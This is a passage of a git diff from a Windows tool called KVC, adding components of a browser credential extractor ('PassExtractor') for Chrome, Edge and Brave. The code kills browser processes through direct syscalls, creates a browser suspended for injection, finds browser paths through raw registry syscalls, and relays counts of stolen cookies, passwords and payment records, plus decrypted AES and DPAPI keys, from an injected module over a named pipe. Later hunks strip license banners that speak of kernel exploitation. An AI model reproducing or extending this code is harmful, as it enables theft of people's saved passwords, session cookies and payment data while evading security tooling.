(wcsstr(cmdLine.data(), L"--utility-sub-type=network.mojom.NetworkService")) + { + console.Debug("Found and terminated network service PID: " + std::to_string((DWORD)pbi.UniqueProcessId)); + NtTerminateProcess_syscall(hCurrentProc.get(), 0); + processes_terminated++; + } + } + + if (processes_terminated > 0) + { + console.Debug("Termination sweep complete. Waiting for file locks to fully release."); + Sleep(1500); + } +} + +// Checks if Windows native SQLite library is available +bool CheckWinSQLite3Available() +{ + HMODULE hWinSQLite = LoadLibraryW(L"winsqlite3.dll"); + if (hWinSQLite) + { + FreeLibrary(hWinSQLite); + return true; + } + return false; +} \ No newline at end of file diff --git a/kvc/BrowserProcessManager.h b/kvc/BrowserProcessManager.h new file mode 100644 index 0000000..24748d3 --- /dev/null +++ b/kvc/BrowserProcessManager.h @@ -0,0 +1,52 @@ +// BrowserProcessManager.h - Browser process lifecycle and cleanup management +#ifndef BROWSER_PROCESS_MANAGER_H +#define BROWSER_PROCESS_MANAGER_H + +#include +#include "OrchestratorCore.h" +#include "CommunicationLayer.h" + +// RAII wrapper for Windows handle management with syscall-based cleanup +struct HandleDeleter +{ + void operator()(HANDLE h) const noexcept; +}; +using UniqueHandle = std::unique_ptr; + +// Manages target browser process lifecycle +class TargetProcess +{ +public: + TargetProcess(const Configuration& config, const Console& console); + + // Creates browser process in suspended state for injection + void createSuspended(); + + // Terminates the target process using direct syscall + void terminate(); + + HANDLE getProcessHandle() const noexcept { return m_hProcess.get(); } + +private: + // Validates architecture compatibility between orchestrator and target + void checkArchitecture(); + const char* getArchName(USHORT arch) const noexcept; + + const Configuration& m_config; + const Console& m_console; + DWORD m_pid = 0; + UniqueHandle m_hProcess; + UniqueHandle m_hThread; + USHORT m_arch = 0; +}; + +// Terminates all running browser processes to release database file locks +void KillBrowserProcesses(const Configuration& config, const Console& console); + +// Terminates browser network service which often holds database locks +void KillBrowserNetworkService(const Configuration& config, const Console& console); + +// Checks availability of Windows native SQLite library +bool CheckWinSQLite3Available(); + +#endif // BROWSER_PROCESS_MANAGER_H \ No newline at end of file diff --git a/kvc/CommunicationLayer.cpp b/kvc/CommunicationLayer.cpp new file mode 100644 index 0000000..61cad81 --- /dev/null +++ b/kvc/CommunicationLayer.cpp @@ -0,0 +1,463 @@ +// CommunicationLayer.cpp - Console and pipe communication implementation +#include "CommunicationLayer.h" +#include "syscalls.h" +#include +#include +#include +#include + +#pragma comment(lib, "Rpcrt4.lib") + +constexpr DWORD MODULE_COMPLETION_TIMEOUT_MS = 60000; + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +// Utility function implementations +namespace Utils +{ + std::string u8string_to_string(const std::u8string& u8str) noexcept + { + return {reinterpret_cast(u8str.c_str()), u8str.size()}; + } + + std::string path_to_api_string(const fs::path& path) + { + return u8string_to_string(path.u8string()); + } + + fs::path GetLocalAppDataPath() + { + PWSTR path = nullptr; + if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path))) + { + fs::path result = path; + CoTaskMemFree(path); + return result; + } + throw std::runtime_error("Failed to get Local AppData path."); + } + + std::string WStringToUtf8(std::wstring_view w_sv) + { + if (w_sv.empty()) return {}; + + int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), + nullptr, 0, nullptr, nullptr); + std::string utf8_str(size_needed, '\0'); + WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), + &utf8_str[0], size_needed, nullptr, nullptr); + return utf8_str; + } + + std::string PtrToHexStr(const void* ptr) noexcept + { + std::ostringstream oss; + oss << "0x" << std::hex << reinterpret_cast(ptr); + return oss.str(); + } + + std::string NtStatusToString(NTSTATUS status) noexcept + { + std::ostringstream oss; + oss << "0x" << std::hex << status; + return oss.str(); + } + + std::wstring GenerateUniquePipeName() + { + UUID uuid; + UuidCreate(&uuid); + wchar_t* uuidStrRaw = nullptr; + UuidToStringW(&uuid, (RPC_WSTR*)&uuidStrRaw); + std::wstring pipeName = L"\\\\.\\pipe\\" + std::wstring(uuidStrRaw); + RpcStringFreeW((RPC_WSTR*)&uuidStrRaw); + return pipeName; + } + + std::string Capitalize(const std::string& str) + { + if (str.empty()) return str; + std::string result = str; + result[0] = static_cast(std::toupper(static_cast(result[0]))); + return result; + } +} + +// Console implementation +Console::Console(bool verbose) : m_verbose(verbose), m_hConsole(GetStdHandle(STD_OUTPUT_HANDLE)) +{ + CONSOLE_SCREEN_BUFFER_INFO consoleInfo; + GetConsoleScreenBufferInfo(m_hConsole, &consoleInfo); + m_originalAttributes = consoleInfo.wAttributes; +} + +void Console::displayBanner() const +{ + SetColor(FOREGROUND_RED | FOREGROUND_INTENSITY); + std::cout << "PassExtractor x64 | 1.0.1 by WESMAR\n\n"; + ResetColor(); +} + +void Console::printUsage() const +{ + SetColor(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); + std::wcout << L"Usage:\n" + << L" kvc_pass.exe [options] \n\n" + << L"Options:\n" + << L" --output-path|-o Directory for output files (default: .\\output\\)\n" + << L" --verbose|-v Enable verbose debug output from the orchestrator\n" + << L" --help|-h Show this help message\n\n" + << L"Browser targets:\n" + << L" chrome - Extract from Google Chrome\n" + << L" brave - Extract from Brave Browser\n" + << L" edge - Extract from Microsoft Edge\n" + << L" all - Extract from all installed browsers\n\n" + << L"Required files:\n" + << L" kvc_crypt.dll - Security module (same directory)\n" + << L" winsqlite3.dll - SQLite library (system32) or sqlite3.dll fallback\n"; + ResetColor(); +} + +void Console::Info(const std::string& msg) const { print("[*]", msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); } +void Console::Success(const std::string& msg) const { print("[+]", msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY); } +void Console::Error(const std::string& msg) const { print("[-]", msg, FOREGROUND_RED | FOREGROUND_INTENSITY); } +void Console::Warn(const std::string& msg) const { print("[!]", msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); } + +void Console::Debug(const std::string& msg) const +{ + if (m_verbose) + print("[#]", msg, FOREGROUND_RED | FOREGROUND_GREEN); +} + +void Console::Relay(const std::string& message) const +{ + size_t tagStart = message.find('['); + size_t tagEnd = message.find(']', tagStart); + + if (tagStart != std::string::npos && tagEnd != std::string::npos) + { + std::cout << message.substr(0, tagStart); + std::string tag = message.substr(tagStart, tagEnd - tagStart + 1); + + WORD color = m_originalAttributes; + if (tag == "[+]") color = FOREGROUND_GREEN | FOREGROUND_INTENSITY; + else if (tag == "[-]") color = FOREGROUND_RED | FOREGROUND_INTENSITY; + else if (tag == "[*]") color = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY; + else if (tag == "[!]") color = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY; + + SetColor(color); + std::cout << tag; + ResetColor(); + std::cout << message.substr(tagEnd + 1) << std::endl; + } + else + { + std::cout << message << std::endl; + } +} + +void Console::print(const std::string& tag, const std::string& msg, WORD color) const +{ + SetColor(color); + std::cout << tag; + ResetColor(); + std::cout << " " << msg << std::endl; +} + +void Console::SetColor(WORD attributes) const noexcept { SetConsoleTextAttribute(m_hConsole, attributes); } +void Console::ResetColor() const noexcept { SetConsoleTextAttribute(m_hConsole, m_originalAttributes); } + +// PipeCommunicator implementation +PipeCommunicator::PipeCommunicator(const std::wstring& pipeName, const Console& console) + : m_pipeName(pipeName), m_console(console) {} + +void PipeCommunicator::create() +{ + m_pipeHandle.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX, + PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, + 1, 4096, 4096, 0, nullptr)); + if (!m_pipeHandle) + throw std::runtime_error("CreateNamedPipeW failed. Error: " + std::to_string(GetLastError())); + + m_console.Debug("Named pipe server created: " + Utils::WStringToUtf8(m_pipeName)); +} + +void PipeCommunicator::waitForClient() +{ + m_console.Debug("Waiting for security module to connect to named pipe."); + if (!ConnectNamedPipe(m_pipeHandle.get(), nullptr) && GetLastError() != ERROR_PIPE_CONNECTED) + throw std::runtime_error("ConnectNamedPipe failed. Error: " + std::to_string(GetLastError())); + + m_console.Debug("Security module connected to named pipe."); +} + +void PipeCommunicator::sendInitialData(bool isVerbose, const fs::path& outputPath, const std::vector& edgeDpapiKey) +{ + writeMessage(isVerbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE"); + writeMessage(Utils::path_to_api_string(outputPath)); + + // Send DPAPI key as hex string (or "NONE" if empty) + if (!edgeDpapiKey.empty()) + { + std::ostringstream oss; + oss << std::hex << std::setfill('0'); + for (uint8_t byte : edgeDpapiKey) + oss << std::setw(2) << static_cast(byte); + writeMessage("DPAPI_KEY:" + oss.str()); + } + else + { + writeMessage("DPAPI_KEY:NONE"); + } +} + +void PipeCommunicator::relayMessages() +{ + m_console.Debug("Waiting for security module execution. (Pipe: " + Utils::WStringToUtf8(m_pipeName) + ")"); + + if (m_console.m_verbose) + std::cout << std::endl; + + const std::string moduleCompletionSignal = "__DLL_PIPE_COMPLETION_SIGNAL__"; + DWORD startTime = GetTickCount(); + std::string accumulatedData; + char buffer[4096]; + bool completed = false; + + while (!completed && (GetTickCount() - startTime < MODULE_COMPLETION_TIMEOUT_MS)) + { + DWORD bytesAvailable = 0; + if (!PeekNamedPipe(m_pipeHandle.get(), nullptr, 0, nullptr, &bytesAvailable, nullptr)) + { + if (GetLastError() == ERROR_BROKEN_PIPE) + break; + m_console.Error("PeekNamedPipe failed. Error: " + std::to_string(GetLastError())); + break; + } + + if (bytesAvailable == 0) + { + Sleep(100); + continue; + } + + DWORD bytesRead = 0; + if (!ReadFile(m_pipeHandle.get(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0) + { + if (GetLastError() == ERROR_BROKEN_PIPE) + break; + continue; + } + + accumulatedData.append(buffer, bytesRead); + + size_t messageStart = 0; + size_t nullPos; + while ((nullPos = accumulatedData.find('\0', messageStart)) != std::string::npos) + { + std::string message = accumulatedData.substr(messageStart, nullPos - messageStart); + messageStart = nullPos + 1; + + if (message == moduleCompletionSignal) + { + m_console.Debug("Security module completion signal received."); + completed = true; + break; + } + + parseExtractionMessage(message); + + if (!message.empty() && m_console.m_verbose) + m_console.Relay(message); + } + + if (completed) + break; + + accumulatedData.erase(0, messageStart); + } + + if (m_console.m_verbose) + std::cout << std::endl; + + m_console.Debug("Security module signaled completion or pipe interaction ended."); +} + +void PipeCommunicator::writeMessage(const std::string& msg) +{ + DWORD bytesWritten = 0; + if (!WriteFile(m_pipeHandle.get(), msg.c_str(), static_cast(msg.length() + 1), &bytesWritten, nullptr) || + bytesWritten != (msg.length() + 1)) + throw std::runtime_error("WriteFile to pipe failed for message: " + msg); + + m_console.Debug("Sent message to pipe: " + msg); +} + +void PipeCommunicator::parseExtractionMessage(const std::string& message) +{ + auto extractNumber = [&message](const std::string& prefix, const std::string& suffix) -> int + { + size_t start = message.find(prefix); + if (start == std::string::npos) return 0; + start += prefix.length(); + size_t end = message.find(suffix, start); + if (end == std::string::npos) return 0; + + try { + return std::stoi(message.substr(start, end - start)); + } + catch (...) { + return 0; + } + }; + + if (message.find("Found ") != std::string::npos && message.find("profile(s)") != std::string::npos) + m_stats.profileCount = extractNumber("Found ", " profile(s)"); + + if (message.find("Decrypted AES Key: ") != std::string::npos) + m_stats.aesKey = message.substr(message.find("Decrypted AES Key: ") + 19); + + if (message.find(" cookies extracted to ") != std::string::npos) + m_stats.totalCookies += extractNumber("[*] ", " cookies"); + + if (message.find(" passwords extracted to ") != std::string::npos) + m_stats.totalPasswords += extractNumber("[*] ", " passwords"); + + if (message.find(" payments extracted to ") != std::string::npos) + m_stats.totalPayments += extractNumber("[*] ", " payments"); +} + +// BrowserPathResolver implementation +BrowserPathResolver::BrowserPathResolver(const Console& console) : m_console(console) {} + +std::wstring BrowserPathResolver::resolve(const std::wstring& browserExeName) +{ + m_console.Debug("Searching Registry for: " + Utils::WStringToUtf8(browserExeName)); + + const std::wstring registryPaths[] = { + L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName, + L"\\Registry\\Machine\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName + }; + + for (const auto& regPath : registryPaths) + { + std::wstring path = queryRegistryDefaultValue(regPath); + if (!path.empty() && fs::exists(path)) + { + m_console.Debug("Found at: " + Utils::WStringToUtf8(path)); + return path; + } + } + + m_console.Debug("Not found in Registry"); + return L""; +} + +std::vector> BrowserPathResolver::findAllInstalledBrowsers() +{ + std::vector> installedBrowsers; + + const std::pair supportedBrowsers[] = { + {L"chrome", L"chrome.exe"}, + {L"edge", L"msedge.exe"}, + {L"brave", L"brave.exe"} + }; + + m_console.Debug("Enumerating installed browsers..."); + + for (const auto& [browserType, exeName] : supportedBrowsers) + { + std::wstring path = resolve(exeName); + if (!path.empty()) + { + installedBrowsers.push_back({browserType, path}); + m_console.Debug("Found " + Utils::Capitalize(Utils::WStringToUtf8(browserType)) + + " at: " + Utils::WStringToUtf8(path)); + } + } + + if (installedBrowsers.empty()) + m_console.Warn("No supported browsers found installed on this system"); + else + m_console.Debug("Found " + std::to_string(installedBrowsers.size()) + " browser(s) to process"); + + return installedBrowsers; +} + +std::wstring BrowserPathResolver::queryRegistryDefaultValue(const std::wstring& keyPath) +{ + std::vector pathBuffer(keyPath.begin(), keyPath.end()); + pathBuffer.push_back(L'\0'); + + UNICODE_STRING_SYSCALLS keyName; + keyName.Buffer = pathBuffer.data(); + keyName.Length = static_cast(keyPath.length() * sizeof(wchar_t)); + keyName.MaximumLength = static_cast(pathBuffer.size() * sizeof(wchar_t)); + + OBJECT_ATTRIBUTES objAttr; + InitializeObjectAttributes(&objAttr, &keyName, OBJ_CASE_INSENSITIVE, nullptr, nullptr); + + HANDLE hKey = nullptr; + NTSTATUS status = NtOpenKey_syscall(&hKey, KEY_READ, &objAttr); + + if (!NT_SUCCESS(status)) + { + if (status != (NTSTATUS)0xC0000034) // STATUS_OBJECT_NAME_NOT_FOUND + m_console.Debug("Registry access failed: " + Utils::NtStatusToString(status)); + return L""; + } + + // RAII guard for key handle + struct KeyGuard { + HANDLE h; + ~KeyGuard() { if (h) NtClose_syscall(h); } + } keyGuard{hKey}; + + UNICODE_STRING_SYSCALLS valueName = {0, 0, nullptr}; + ULONG bufferSize = 4096; + std::vector buffer(bufferSize); + ULONG resultLength = 0; + + status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation, + buffer.data(), bufferSize, &resultLength); + + if (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_BUFFER_OVERFLOW) + { + buffer.resize(resultLength); + bufferSize = resultLength; + status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation, + buffer.data(), bufferSize, &resultLength); + } + + if (!NT_SUCCESS(status)) + return L""; + + auto kvpi = reinterpret_cast(buffer.data()); + + if (kvpi->Type != REG_SZ && kvpi->Type != REG_EXPAND_SZ) + return L""; + if (kvpi->DataLength < sizeof(wchar_t) * 2) + return L""; + + size_t charCount = kvpi->DataLength / sizeof(wchar_t); + std::wstring path(reinterpret_cast(kvpi->Data), charCount); + + while (!path.empty() && path.back() == L'\0') + path.pop_back(); + + if (path.empty()) + return L""; + + if (kvpi->Type == REG_EXPAND_SZ) + { + std::vector expanded(MAX_PATH * 2); + DWORD size = ExpandEnvironmentStringsW(path.c_str(), expanded.data(), + static_cast(expanded.size())); + if (size > 0 && size <= expanded.size()) + path = std::wstring(expanded.data()); + } + + return path; +} \ No newline at end of file diff --git a/kvc/CommunicationLayer.h b/kvc/CommunicationLayer.h new file mode 100644 index 0000000..d010c71 --- /dev/null +++ b/kvc/CommunicationLayer.h @@ -0,0 +1,112 @@ +// CommunicationLayer.h - Console output and inter-process communication +#ifndef COMMUNICATION_LAYER_H +#define COMMUNICATION_LAYER_H + +#include +#include +#include +#include +#include + +namespace fs = std::filesystem; + +// Utility functions for string and path operations +namespace Utils +{ + std::string u8string_to_string(const std::u8string& u8str) noexcept; + std::string path_to_api_string(const fs::path& path); + fs::path GetLocalAppDataPath(); + std::string WStringToUtf8(std::wstring_view w_sv); + std::string PtrToHexStr(const void* ptr) noexcept; + std::string NtStatusToString(NTSTATUS status) noexcept; + std::wstring GenerateUniquePipeName(); + std::string Capitalize(const std::string& str); +} + +// Manages console output with colored messages +class Console +{ +public: + explicit Console(bool verbose); + + void displayBanner() const; + void printUsage() const; + + void Info(const std::string& msg) const; + void Success(const std::string& msg) const; + void Error(const std::string& msg) const; + void Warn(const std::string& msg) const; + void Debug(const std::string& msg) const; + void Relay(const std::string& message) const; + + bool m_verbose; + +private: + void print(const std::string& tag, const std::string& msg, WORD color) const; + void SetColor(WORD attributes) const noexcept; + void ResetColor() const noexcept; + + HANDLE m_hConsole; + WORD m_originalAttributes; +}; + +// Handles named pipe communication with injected module +class PipeCommunicator +{ +public: + struct ExtractionStats + { + int totalCookies = 0; + int totalPasswords = 0; + int totalPayments = 0; + int profileCount = 0; + std::string aesKey; + }; + + PipeCommunicator(const std::wstring& pipeName, const Console& console); + + void create(); + void waitForClient(); + void sendInitialData(bool isVerbose, const fs::path& outputPath, const std::vector& edgeDpapiKey = {}); + void relayMessages(); + + const ExtractionStats& getStats() const noexcept { return m_stats; } + const std::wstring& getName() const noexcept { return m_pipeName; } + +private: + // RAII wrapper for pipe handle + struct PipeDeleter + { + void operator()(HANDLE h) const noexcept + { + if (h != INVALID_HANDLE_VALUE) + CloseHandle(h); + } + }; + using UniquePipe = std::unique_ptr; + + void writeMessage(const std::string& msg); + void parseExtractionMessage(const std::string& message); + + std::wstring m_pipeName; + const Console& m_console; + UniquePipe m_pipeHandle; + ExtractionStats m_stats; +}; + +// Resolves browser installation paths via Registry +class BrowserPathResolver +{ +public: + explicit BrowserPathResolver(const Console& console); + + std::wstring resolve(const std::wstring& browserExeName); + std::vector> findAllInstalledBrowsers(); + +private: + std::wstring queryRegistryDefaultValue(const std::wstring& keyPath); + + const Console& m_console; +}; + +#endif // COMMUNICATION_LAYER_H \ No newline at end of file diff --git a/kvc/CommunicationModule.cpp b/kvc/CommunicationModule.cpp new file mode 100644 index 0000000..2cb35ce --- /dev/null +++ b/kvc/CommunicationModule.cpp @@ -0,0 +1,103 @@ +// CommunicationModule.cpp - Pipe communication and utility functions +#include "CommunicationModule.h" +#include +#include + +#pragma comment(lib, "Crypt32.lib") + +namespace SecurityComponents +{ + namespace Utils + { + // Retrieves Local AppData path + fs::path GetLocalAppDataPath() + { + PWSTR path = nullptr; + if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path))) + { + fs::path result = path; + CoTaskMemFree(path); + return result; + } + throw std::runtime_error("Failed to get Local AppData path."); + } + + // Decodes Base64 string into byte vector + std::optional> Base64Decode(const std::string& input) + { + DWORD size = 0; + if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr)) + return std::nullopt; + + std::vector data(size); + if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr)) + return std::nullopt; + + return data; + } + + // Converts byte array to hex string + std::string BytesToHexString(const std::vector& bytes) + { + std::ostringstream oss; + oss << std::hex << std::setfill('0'); + for (uint8_t byte : bytes) + oss << std::setw(2) << static_cast(byte); + return oss.str(); + } + + // Escapes JSON special characters + std::string EscapeJson(const std::string& s) + { + std::ostringstream o; + for (char c : s) + { + switch (c) + { + case '"': o << "\\\""; break; + case '\\': o << "\\\\"; break; + case '\b': o << "\\b"; break; + case '\f': o << "\\f"; break; + case '\n': o << "\\n"; break; + case '\r': o << "\\r"; break; + case '\t': o << "\\t"; break; + default: + if ('\x00' <= c && c <= '\x1f') + { + o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast(c); + } + else + { + o << c; + } + } + } + return o.str(); + } + } + + // PipeLogger implementation + PipeLogger::PipeLogger(LPCWSTR pipeName) + { + m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr); + } + + PipeLogger::~PipeLogger() + { + if (m_pipe != INVALID_HANDLE_VALUE) + { + Log("__DLL_PIPE_COMPLETION_SIGNAL__"); + FlushFileBuffers(m_pipe); + CloseHandle(m_pipe); + } + } + + void PipeLogger::Log(const std::string& message) + { + if (isValid()) + { + DWORD bytesWritten = 0; + WriteFile(m_pipe, message.c_str(), static_cast(message.length() + 1), &bytesWritten, nullptr); + } + } +} \ No newline at end of file diff --git a/kvc/CommunicationModule.h b/kvc/CommunicationModule.h new file mode 100644 index 0000000..85a25bd --- /dev/null +++ b/kvc/CommunicationModule.h @@ -0,0 +1,58 @@ +// CommunicationModule.h - Inter-process communication and utilities +#ifndef COMMUNICATION_MODULE_H +#define COMMUNICATION_MODULE_H + +#include +#include +#include +#include +#include +#include +#include + +namespace fs = std::filesystem; + +// String utility functions for internal module use +namespace StringUtils +{ + inline std::string path_to_string(const fs::path& path) + { + return path.string(); + } +} + +namespace SecurityComponents +{ + // Utility functions for encoding and formatting + namespace Utils + { + // Retrieves Local AppData directory path + fs::path GetLocalAppDataPath(); + + // Decodes Base64 encoded string + std::optional> Base64Decode(const std::string& input); + + // Converts bytes to hexadecimal string + std::string BytesToHexString(const std::vector& bytes); + + // Escapes special characters for JSON serialization + std::string EscapeJson(const std::string& s); + } + + // Manages named pipe communication with orchestrator + class PipeLogger + { + public: + explicit PipeLogger(LPCWSTR pipeName); + ~PipeLogger(); + + bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; } + void Log(const std::string& message); + HANDLE getHandle() const noexcept { return m_pipe; } + + private: + HANDLE m_pipe = INVALID_HANDLE_VALUE; + }; +} + +#endif // COMMUNICATION_MODULE_H \ No newline at end of file diff --git a/kvc/ControllerBinaryManager.cpp b/kvc/ControllerBinaryManager.cpp index f4eeec6..ae3673e 100644 --- a/kvc/ControllerBinaryManager.cpp +++ b/kvc/ControllerBinaryManager.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // ControllerBinaryManager.cpp - Fixed compilation issues #include "Controller.h" #include "common.h" diff --git a/kvc/ControllerCore.cpp b/kvc/ControllerCore.cpp index 3cec5dd..285da4a 100644 --- a/kvc/ControllerCore.cpp +++ b/kvc/ControllerCore.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // ControllerCore.cpp #include "Controller.h" #include "common.h" diff --git a/kvc/ControllerDriverManager.cpp b/kvc/ControllerDriverManager.cpp index db837d3..eaa82fb 100644 --- a/kvc/ControllerDriverManager.cpp +++ b/kvc/ControllerDriverManager.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // ControllerDriverManager.cpp #include "Controller.h" #include "common.h" diff --git a/kvc/ControllerEventLogOperations.cpp b/kvc/ControllerEventLogOperations.cpp index 6e444c6..cce7e6e 100644 --- a/kvc/ControllerEventLogOperations.cpp +++ b/kvc/ControllerEventLogOperations.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "Controller.h" #include "common.h" diff --git a/kvc/ControllerMemoryOperations.cpp b/kvc/ControllerMemoryOperations.cpp index 4d515a1..b1159e4 100644 --- a/kvc/ControllerMemoryOperations.cpp +++ b/kvc/ControllerMemoryOperations.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // ControllerMemoryOperations.cpp #include "Controller.h" #include "common.h" diff --git a/kvc/ControllerPasswordManager.cpp b/kvc/ControllerPasswordManager.cpp index d5d84f7..0768ed1 100644 --- a/kvc/ControllerPasswordManager.cpp +++ b/kvc/ControllerPasswordManager.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "Controller.h" #include "ReportExporter.h" #include "common.h" diff --git a/kvc/ControllerProcessOperations.cpp b/kvc/ControllerProcessOperations.cpp index 3a8e658..7854e1a 100644 --- a/kvc/ControllerProcessOperations.cpp +++ b/kvc/ControllerProcessOperations.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and 